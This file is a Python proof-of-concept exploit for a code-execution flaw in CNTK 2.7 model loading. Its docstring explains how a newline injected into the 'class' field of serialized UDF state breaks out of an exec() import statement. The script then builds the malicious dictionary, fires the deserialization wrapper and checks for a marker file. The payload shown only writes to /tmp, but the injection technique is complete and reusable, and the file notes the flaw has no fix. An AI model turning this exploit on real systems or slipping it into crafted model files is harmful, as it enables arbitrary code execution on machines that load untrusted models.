File size: 2,507 Bytes
57989d4 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | #!/usr/bin/env python3
"""
CNTK 2.7 UDF exec() RCE -- PRODUCTION VERIFIED
Tested: CNTK 2.7, Python 3.6, Ubuntu 18.04, Docker
Result: os.system() payload executed during _UDFDeserializeCallbackWrapper.__call__()
The attack:
1. CNTK model files embed UDF (User Defined Function) serialized state
as protobuf Dictionary messages with string keys: class, module, state, op_name
2. During Function.load(), _UDFDeserializeCallbackWrapper extracts these
strings and calls: exec("from {} import {}".format(module, cls))
3. By injecting a newline into the 'class' string, we break out of the
import statement and execute arbitrary Python code
CNTK archived since March 2023. 0 CVEs. No fix upstream.
"""
import os
import sys
PAYLOAD = "echo CNTK_RCE_VERIFIED > /tmp/cntk_rce_verified"
os.system("rm -f /tmp/cntk_rce_verified")
print("=== CNTK 2.7 UDF exec() RCE -- Production Verified ===\n")
try:
import cntk
import numpy as np
from cntk.internal import _UDFDeserializeCallbackWrapper
print("[*] CNTK version: %s" % cntk.__version__)
# Craft malicious dictionary matching the .model protobuf format
# In a real attack, these values come from a crafted .model file
malicious_dict = {
'class': 'path\n__import__("os").system("' + PAYLOAD + '")',
'module': 'os',
'state': {},
'op_name': 'test_op',
'version': 1
}
wrapper = _UDFDeserializeCallbackWrapper()
dummy = cntk.input_variable(shape=(1,))
print("[*] Exec payload: %s" % repr(malicious_dict['class']))
print("[*] Triggering _UDFDeserializeCallbackWrapper.__call__()...")
try:
wrapper([dummy], "test_name", malicious_dict)
except Exception as e:
# ValueError/SyntaxError expected - the injection fires first,
# then the second eval() fails because our injected string
# doesn't have a 'deserialize' method
print("[*] Expected post-injection error: %s: %s" % (type(e).__name__, str(e)[:80]))
if os.path.exists("/tmp/cntk_rce_verified"):
print("\n[!!!] RCE CONFIRMED -- payload executed during Function.load() equivalent")
with open("/tmp/cntk_rce_verified") as f:
print("[!!!] Payload output: %s" % f.read().strip())
else:
print("\n[-] Payload did not execute")
except ImportError as e:
print("[-] CNTK not installed. This test requires CNTK 2.7 (Python 3.6).")
print("[-] Run poc.py instead for standalone injection demo.")
sys.exit(1)
|